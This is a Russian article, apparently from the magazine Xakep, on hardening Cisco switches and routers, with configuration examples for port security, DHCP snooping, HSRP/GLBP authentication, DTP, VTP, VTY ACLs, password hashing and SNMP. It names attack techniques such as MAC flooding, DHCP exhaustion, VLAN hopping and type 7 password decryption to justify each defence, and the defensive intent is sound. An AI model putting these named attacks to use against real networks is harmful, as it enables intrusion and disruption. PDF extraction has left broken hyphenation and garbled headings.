ÁÅÇÎÏÀÑÍÎÑÒÜ ÊÎÌÌÓÒÀÖÈÎÍÍÎÉ ÌÀÒÐÈÖÛ CAM

CAM (Content Addressable Memory) — это ассо циатив ная память ком мутато- 
ра, внут ри которой хра нит ся таб лица MAC-адре сов и свя зан ных с ними пор- 
тов. Это нес ложный механизм, одна ко уже очень дав но сущес тву ет хулиган- 
ский век тор DoS-ата ки, при которой ата кующий перепол няет CAM-таб лицу
с помощью рас сылки Ethernet-кад ров с ран домизи рующи мися MAC-адре- 
сами источни ка, что переби вает ком мутаци онную мат рицу. Очень извес тный
при ем, но не упо мянуть о нем я не могу.

За щитить CAM-таб лицы сво их ком мутато ров очень прос то, дос таточ но
исполь зовать Port Security. В нашем слу чае эта нас трой ка под ходит для огра- 
ниче ния количес тва MAC-адре сов за пор том ком мутато ра. Допус тим, если
нас тро им огра ниче ние в 20 MAC-адре сов на пор те, а ата кующий нач нет
в эфи ре флуд (каким-нибудь macof), то к пор ту будут уже при менять ся огра- 
ниче ния — в зависи мос ти от нас тро енной полити ки.

Вот при мер кон фигура ции, при которой ста вит ся огра ниче ние в два MAC-
адре са, а при наруше нии это го огра ниче ния порт будет вык лючен.

SaveMe(config)# interface range gX/X 
SaveMe(config-if)# switchport port-security maximum <value> 
SaveMe(config-if)# switchport port-security violation shutdown 

При такой кон фигура ции в момент наруше ния полити ки MAC-адре сов порт
будет переве ден в сос тояние . Что бы нас тро ить авто мати чес- 

кое вос ста нов ление пор та из это го сос тояния, понадо бит ся еще одна коман- 
да:

err-disabled

SaveMe(config)# errdisable recovery interval 120 
SaveMe(config)# errdisable recovery cause psecure-violation 

ÇÀÙÈÒÀ DHCP-ÑÅÐÂÅÐÀ ÎÒ ÀÒÀÊ ÈÑÒÎÙÅÍÈß

DHCP Exhaustion — это сетевая ата ка, поз воля ющая выз вать у DHCP-сер вера
отказ в обслу жива нии. Ата кующий выпол няет рас сылку лож ных сооб щений

 с ран домны ми MAC-адре сами источни ка, вынуж дая DHCP-
сер вер отве чать на каж дый такой DISCOVER и выдавать ему адрес.
DHCPDISCOVER

Во обще, для защиты DHCP-сер вера есть тех нология DHCP Snooping,
разоб ранная в . Мы тог да разоб рали кон цепцию
защиты имен но от появ ления лож ного DHCP-сер вера, а сей час погово рим
про митига цию ата ки исто щения адресно го прос транс тва.

пре дыду щей вер сии статьи

DHCP Snooping так же поз воля ет нас тро ить Limit Rate: это параметр, отве- 
чающий за огра ниче ние количес тва DHCP-сооб щений на пор те ком мутато ра.
Обыч но этот Limit Rate нас тра ивает ся имен но на пор тах дос тупа, куда под- 
клю чают ся конеч ные стан ции. Сами инже неры Cisco рекомен дуют исполь- 
зовать огра ниче ние не более 100 пакетов в секун ду, одна ко тут уже сто ит
отталки вать ся от осо бен ностей сво ей инфраструк туры и под бирать зна чение
вруч ную. Делай это акку рат но, что бы слу чай но не сре зать легитим ный тра- 
фик.

SaveMe(config)# interface range f0/X-XX 
SaveMe(config-if)# ip dhcp snooping limit rate <count> 

Так же сто ит вклю чить опцию про вер ки MAC-адре са в кад рах внут ри DHCP-
пакетов:

SaveMe(config)# ip dhcp snooping verify mac-address 

Ес ли на пор те ока жет ся боль ше DHCP-мес седжей, он прос то упа дет в сос- 
тояние , будет заб локиро ван на логичес ком уров не и адми нис- 

тра тору при дет ся самому под нимать его из это го сос тояния. Одна ко Cisco
IOS пред лага ет авто мати чес кое вос ста нов ление работы пор та, если его заб- 
локиро вал какой-нибудь механизм защиты. Вот при мер коман ды для авто- 
мати чес кого вос ста нов ления пор та пос ле сра баты вания Limit Rate при DHCP
Snooping:

ERR-DISABLED

SaveMe(config)# errdisable recovery cause dhcp-rate-limit 

Еще обыч но нас тра ивают тай мер и зада ют вре мя, через которое порт вер- 
нется из сос тояния . Тут отталки вай ся от инфраструк туры и сво- 

его видения:

ERR-DISABLED

SaveMe(config)# errdisable recovery interval <seconds> 

ÄÎÌÅÍÛ ÎÒÊÀÇÎÓÑÒÎÉ×ÈÂÎÑÒÈ HSRP & GLBP

Это проп риетар ные про токо лы Cisco, пред назна чен ные для резер вирова ния
шлю зов. Домены HSRP/GLBP могут под вер гнуть ся ата кам спу фин га, и ты
к ним дол жен быть готов. Есть два метода защиты.

 — выс тавить мак сималь ный при ори тет 255. Если в сети

уже сущес тву ет ACTIVE/AVG-спи кер с мак сималь ным зна чени ем при ори тета,
то инъ екции ата кующе го будут бес полез ны и он не смо жет перех ватить эти
роли для пос леду ющей MITM-ата ки.

Ïåð âûé ìåòîä

HSRP (Master-спи кер):

SaveMe(config-if)# standby <group_number> priority 255 

GLBP (для AVG-спи кера отталки вай ся от осо бен ностей работы про токо ла
GLBP, там всё слож нее по срав нению с HSRP):

SaveMe(config-if)# glbp <group_number> priority 255 

 — исполь зовать крип тогра фичес кую аутен тифика цию.
Выбери стой кую пароль ную фра зу для защиты HSRP/GLBP-доменов, что бы
компь ютер ата кующе го не смог вме шать ся в домен отка зоус той чивос ти.
К этой про цеду ре нуж но отнестись серь езно, так как ата кующий спо собен
прос лушать пакеты этих про токо лов, выдер нуть крип тогра фичес кий хеш
и сбру тить пароль. Ты не дол жен это го допус тить. Вот как нас тра ивает ся
аутен тифика ция для этих про токо лов.

Âòî ðîé ìåòîä

HSRP:

SaveMe(config-if)# standby <group_number> authentication md5 key-
string <PHRASE> 

GLBP:

SaveMe(config-if)# glbp <group_number> authentication md5 key-string 
<PHRASE> 

Кста ти говоря, обо рудо вание Cisco может пох вастать ся наличи ем Keychain-
аутен тифика ции. Эта нас трой ка поз воля ет соз дать цепоч ку из нес коль ких
клю чей и даже нас тро ить спе циаль ные вре мен ные про межут ки, в рам ках
которых клю чи будут тран сли ровать ся меж ду спи кера ми. Будь то домен отка- 
зоус той чивос ти или домен динами чес кой мар шру тиза ции. Исполь зование
Keychain-аутен тифика ции усложня ет жизнь ата кующе му в нес коль ко раз, ведь
необ ходимо сбру тить все клю чи, уга дать их порядок и тай мин ги.

Вот при мер нас трой ки Keychain:

SaveMe(config)# key chain SaveMe 
SaveMe(config-keychain)# key 1 
SaveMe(config-keychain-key)# key-string <PHRASE> 
SaveMe(config-keychain)# key 2 
SaveMe(config-keychain-key)# key-string <PHRASE> 

По лучи лась цепоч ка из двух клю чей. Ты можешь при менить ее, нап ример,
для домена отка зоус той чивос ти GLBP или для домена мар шру тиза ции EIGRP.
Про демонс три рую два при мера. Вмес те с цепоч кой клю чей будем исполь- 
зовать MD5.

Нас трой ка для защиты домена отка зоус той чивос ти GLBP:

SaveMe(config-if)# glbp <group_number> authentication md5 key-chain 
SaveMe 

Нас трой ка для защиты домена мар шру тиза ции EIGRP:

SaveMe(config-if)# ip authentication mode eigrp <ASN> md5 
SaveMe(config-if)# ip authentication key-chain eigrp <ASN> SaveMe 

 в кон це коман ды — это наз вание соз данной цепоч ки, не перепу тай.SaveMe
Та ким обра зом мы можем защитить домены отка зоус той чивос ти и домены

мар шру тиза ции, реали зован ные на про токо лах Cisco. Для EIGRP, кста ти,
не будет лиш ним исполь зовать пас сивные интерфей сы. Они зап реща ют рас- 
сылку пакетов при ветс твия Hello на интерфей сах внут ри сети, что лиша ет ата- 
кующе го всех шан сов воз дей ство вать на домен мар шру тиза ции.

SaveMe(config)# router eigrp <ASN> 
SaveMe(config-router)# passive-interface <interface> 

ÎÒÊËÞ×ÅÍÈÅ DP

DP (Discovery Protocols) — про токо лы, пред назна чен ные для авто мати чес кого
обме на слу жеб ной информа ции меж ду сетевы ми устрой ства ми. Это облегча- 
ет сетево му инже неру про цесс траб лшу тин га. Но быва ют нас трой ки,
при которых рас сылка про токо лов DP (CDP/LLDP) про исхо дит во все сетевые
интерфей сы устрой ства. Внут ренний наруши тель при ана лизе тра фика может
перех ватить эти пакеты и узнать дос таточ но чувс тви тель ную информа цию
об устрой стве: вер сию про шив ки, тип модели, адре сацию и про чее.

Ре комен дует ся вык лючать DP-про токо лы на пор тах конеч ных стан ций.
Одна ко если в сег менте есть IP-телефо ния, необ ходимо с осто рож ность вык- 
лючать про токо лы на этих пор тах, так как DP так же исполь зуют ся для работы
IP-телефо нии (VoIP):

SaveMe(config)# interface range fX/-XX 
SaveMe(config-if)# no cdp enable 
SaveMe(config-if)# no lldp receive 
SaveMe(config-if)# no lldp transmit 

ÂÛÊËÞ×ÅÍÈÅ DTP È ÑÌÅÍÀ NVLAN

DTP — это, на мой взгляд, рак ком мутато ров Cisco. Бес полез ный про токол,
пред лага ющий авто мати чес кую сис тему тран кинга, которая ухуд шает дизайн
сети. Сеть в резуль тате ста новит ся менее пред ска зуемой. Сетевой инже нер
сам дол жен решать, где дол жен быть транк-порт, и явно его нас тра ивать.

Ис поль зование это го про токо ла ста вит под удар безопас ность сег мента,
потому что если адми нис тра тор про зева ет наличие дефол тных пор тов ком- 
мутато ров Cisco (которые еще и вклю чены по умол чанию), то ата кующий
может под клю чить ся к ком мутато ру, отпра вить кадр DTP Desirable и тем
самым обой ти VLAN-сег мента цию на ком мутато ре.

Так же сто ит упо мянуть о спе цифи чес ком век торе ата ки Double Tagging.
Для сов ремен ных инфраструк тур эта ата ка ско рее теоре тичес кая и работа ет,
если при сутс тву ет дефол тный Native VLAN 1. Поэто му всег да сто ит менять
зна чение Native VLAN (NVLAN) на любое дру гое. Кста ти говоря, Native VLAN —
это спе циаль ный VLAN, куда пада ет нетеги рован ный тра фик.

Что бы вык лючить DTP, нуж но в пер вую оче редь перевес ти пор ты ком- 
мутато ра в режим дос тупа, а так же вык лючить сам DTP:

SaveMe(config)# interface range g0/X-XX 
SaveMe(config-if)# switchport mode access 
SaveMe(config-if)# switchport nonegotiate 

Так же рекомен дует ся про вес ти эну мера цию неис поль зуемых пор тов ком- 
мутато ра, соз дать для них спе циаль ный VLAN, а-ля «VLAN Shutdown 666»,
и перемес тить их туда, а затем перевес ти в вык лючен ное сос тояние. Таким
обра зом умень шит ся веро ятность несан кци они рован ного под клю чения
в сеть.

SaveMe(config)# vlan 666 
SaveMe(config-vlan)# name Shutdown 
SaveMe(config)# interface range g0/X-XX 
SaveMe(config-if)# switchport mode access 
SaveMe(config-if)# switchport access vlan 666 

ÐÈÑÊÈ ÏÐÈ ÈÍÒÅÃÐÀÖÈÈ ÈÑÏÎËÜÇÎÂÀÍÍÛÕ ÐÀÍÅÅ
ÊÎÌÌÓÒÀÒÎÐÎÂ CISCO

Ес ли тебе нуж но уста новить ранее исполь зован ный ком мутатор Cisco в дру- 
гую сеть, обя затель но про верь сос тояние VTP на этом устрой стве. VTP поз- 
воля ет цен тра лизо ван но управлять базой дан ных VLAN, и акту аль ность этой
базы отсле жива ется по номеру ревизии. Если получит ся так, что на ста ром
ком мутато ре Cisco номер ревизии VTP боль ше, то кадр с номером ревизии
может рас простра нить ся по тран ковым каналам (а на ком мутато ре могут быть
дру гие сети VLAN). Из-за это го текущие ком мутато ры обно вят свои БД VLAN,
и может воз никнуть сетевой паралич.

Всег да про веряй нас трой ки VTP на ста ром обо рудо вании, которое хочешь
помес тить в сеть. Ты можешь сбро сить номер ревизии, если изме нишь имя
VTP-домена на любое дру гое и пос тавишь тре буемое.

SaveMe(config)# vtp mode client 
SaveMe(config)# vtp domain shadjfkshdfjaks 
SaveMe(config)# vtp domain <necessary vtp domain name> 

Так же можешь перек лючить ком мутато ры в режим VTP Transparent, они
не учас тву ют в про цес сах VTP.

SaveMe(config)# vtp mode transparent 

ÁÅÇÎÏÀÑÍÎÑÒÜ ËÈÍÈÈ VTY

Тер миналь ные линии VTY поз воля ют под клю чать ся к сетево му обо рудо ванию
уда лен но (SSH/Winbox/HTTP/API). Одна ко быва ет, что VTY не защище ны
с помощью ACL, поз воля ющих филь тро вать под клю чения к VTY толь ко
из опре делен ных Management-под сетей, которые исполь зуют адми нис тра- 
торы для управле ния обо рудо вани ем.

Хо рошая прак тика — исполь зовать кон цепцию fail2ban внут ри инфраструк- 
туры. Вдруг один из админ ских компь юте ров будет заражен тро яном, который
най дет служ бы SSH/HTTP на обо рудо вании и нач нет брут форсить их? Так же
на служ бах SSH желатель но исполь зовать аутен тифика ции по клю чу и зап рет
вхо да по паролю.

Вот при мер прос того ACL, который защища ет линии VTY и раз реша ет под- 
клю чение толь ко из ука зан ной под сети:

SaveMe(config)# access-list 10 permit <subnet> 0.0.0.255 
SaveMe(config)# access-list 10 deny any log 
SaveMe(config)# line vty 0 15 
SaveMe(config-line)# access-class 10 in 

Стро ка  при вязы вает этот ACL к лини ям 0–15.access-class 10 in

ÏÀÐÎËÈ CISCO IOS

У Cisco IOS есть проб лемы с безопас ностью хра нения паролей внут ри опе- 
раци онной сис темы. Не рекомен дует ся исполь зовать типы паролей 4, 5 и 7,
так как они под разуме вают шиф рование SHA-256, MD5 и Vigenere Cipher
соот ветс твен но. Брут форс таких паролей не сос тавля ет тру да, а для
типа 7 нужен прос то дешиф ратор .ciscot7

Луч шая прак тика — исполь зовать TYPE 8, TYPE 9 (PBKDF2, SCRYPT),
а так же AAA (Authentication, Authorization, Accounting) для цен тра лизо ван ного
управле ния учет ными запися ми (RADIUS or TACACS+).

На при мере TYPE 8:

SaveMe(config)# enable algorithm-type sha256 secret <password> 
SaveMe(config)# username motor algorithm-type sha256 secret <
password> 

В TYPE 8 исполь зуют ся SHA-256, 80-бит ная соль
и 20 000 ите раций, что дела ет этот тип хеширо- 
вания дос таточ но безопас ным для защиты
паролей. Сбру тить их будет очень слож но.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÏÐÈ ÐÀÁÎÒÅ Ñ SNMP

Ес ли ата кующий сбру тит стро ку SNMP RW, то это поз волит ему про читать нас- 
трой ки с мар шру тиза тора и узнать край не чувс тви тель ную информа цию
об инфраструк туре (IP-адре сация, кон фигура ция интерфей сов, учет ные
записи и пароли в хеширо ван ном виде). С этой информа цией у ата кующе го
есть все шан сы про ник нуть внутрь инфраструк туры и про дол жить прод- 
вижение по сети.

Есть два вари анта решения этой проб лемы:
1. Ус тановить стой кую RW-фра зу, которую будет край не тяжело сбру тить.
2. Ог раничить сетевой дос туп к UDP/161 путем нас трой ки ACL-лис тов. Пусть

этот порт учас тву ет толь ко во вза имо дей ствии с легитим ным SNMP-сер- 
вером.

Нас трой ка новой RW-стро ки:

SaveMe(config)# snmp-server community <string> RW 

Пе ред нас трой кой RW-стро ки обя затель но про- 
веряй связ ность меж ду обо рудо вани ем Cisco
и SNMP-сер вером.

И вто рое решение — исполь зование ACL. Вот при мер такого ACL, здесь раз- 
реша ется толь ко один адрес (адрес самого SNMP-сер вера). Адап тируй этот
метод под свой мар шру тиза тор, где навер няка есть ACL, так как на
интерфейс роуте ра мож но уста новить толь ко один ACL-лист.

access-list 101 permit udp host <snmp_server_ip> any eq 161 
access-list 101 permit udp host <snmp_server_ip> any eq 162 
access-list 101 deny udp any any eq 161 
access-list 101 deny udp any any eq 162 
access-list 101 permit ip any any 

ÎÑÒÎÐÎÆÍÎÑÒÜ ÏÐÈ ÔÈËÜÒÐÀÖÈÈ ICMP

Бло киро вать ICMP в сетевой инфраструк туре — гру бая ошиб ка. Во-пер вых,
из-за это го про падет воз можность про водить диаг ности ку: пин ги и traceroute
работать не будут. Во-вто рых, сис тема PMTUD перес танет работать, так
как сущес тву ет за счет работы ICMP Type 3. Бла года ря PMTUD мож но избе- 
жать избы точ ной фраг мента ции, а это, в свою оче редь, вли яет на ско рость
переда чи дан ных.

Филь труй ICMP гра мот но, отсе кай толь ко ненуж ные тебе типы.

NO FULL CONE NAT

NAT в сетях нас тра ивают час то, одна ко тут есть нес коль ко под видов нас тро ек:
Full Cone, Symmetric, Restricted и Port Restricted. Мы оста новим ся на пер вом
вари анте, так как он вызыва ет боль ше все го проб лем с безопас ностью.

При Full Cone NAT вхо дящие пакеты от любого внеш него хос та будут
перенап равлять ся соот ветс тву юще му хос ту в локаль ной сети, если в таб лице
NAT при сутс тву ет соот ветс тву ющая запись. Более того, номер пор та источни- 
ка в этом слу чае не име ет зна чения — он может быть и 53, и 54, и вооб ще
каким угод но, в этом виде NAT про веря ется толь ко порт наз начения, адрес
наз начения и L4-про токол.

Ес ли ата кующий будет находить ся за NAT, он смо жет про ник нуть внутрь
инфраструк туры бла года ря обыч ным ста тичес ким мар шру там сквозь пог- 
ранич ный роутер, так как из-за осо бен ностей Full Cone NAT его тра фик будет
мар шру тизи рован внутрь.

NO PORT FORWARD

Проб рос пор тов на пер вый взгляд кажет ся очень удоб ным решени ем, если
нуж но быс тро орга низо вать устрой ству дос туп в интернет. Одна ко
это негатив но ска зыва ется на безопас ности сети, так как проб рошен ный порт
лег ко обна ружить, учи тывая ско рость сов ремен ных порт-ска неров. Если
такое устрой ство будет взло мано, то ата кующий смо жет про вес ти пивотинг
внутрь инфраструк туры и эска лиро вать свое при сутс твие в ском про мети- 
рован ной сети.

Ре комен дует ся отка зать ся от проб роса пор тов и вмес то это го исполь- 
зовать VPN-сер вер.

ÇÀÙÈÒÀ ÎÒ UPNP-ÈÍÚÅÊÖÈÉ

UPnP (Universal Plug and Play) — груп па про токо лов, которые поз воля ют
компь юте рам с помощью спе циаль ных зап росов получать дос туп в интернет.
Исполь зование UPnP — небезо пас ная прак тика, пос коль ку ата кующий может
най ти порт UPnP и с помощью спе циаль ных зап росов открыть для себя дос- 
туп к хос там за пог ранич ным мар шру тиза тором (нап ример, через Metasploit
Framework).

Ре комен дую отклю чить UPnP на сетевом обо рудо вании во избе жание рис- 
ка взло ма внеш него перимет ра.

ÂÛÂÎÄÛ

Нес мотря на то что я сде лал акцент на Cisco IOS, все эти механиз мы защиты
реали зова ны у боль шинс тва вен доров сетево го обо рудо вания. При меняй эти
тех ники у себя, но будь осто рожен: с нас трой ками безопас ности час то есть
шанс «выс тре лить себе в ногу» и нарушить нор маль ную работу сети.

https://t.me/wearecaster
https://xakep.ru/2023/08/17/antispoofing/
https://xakep.ru/2023/08/17/antispoofing/
https://github.com/theevilbit/ciscot7


«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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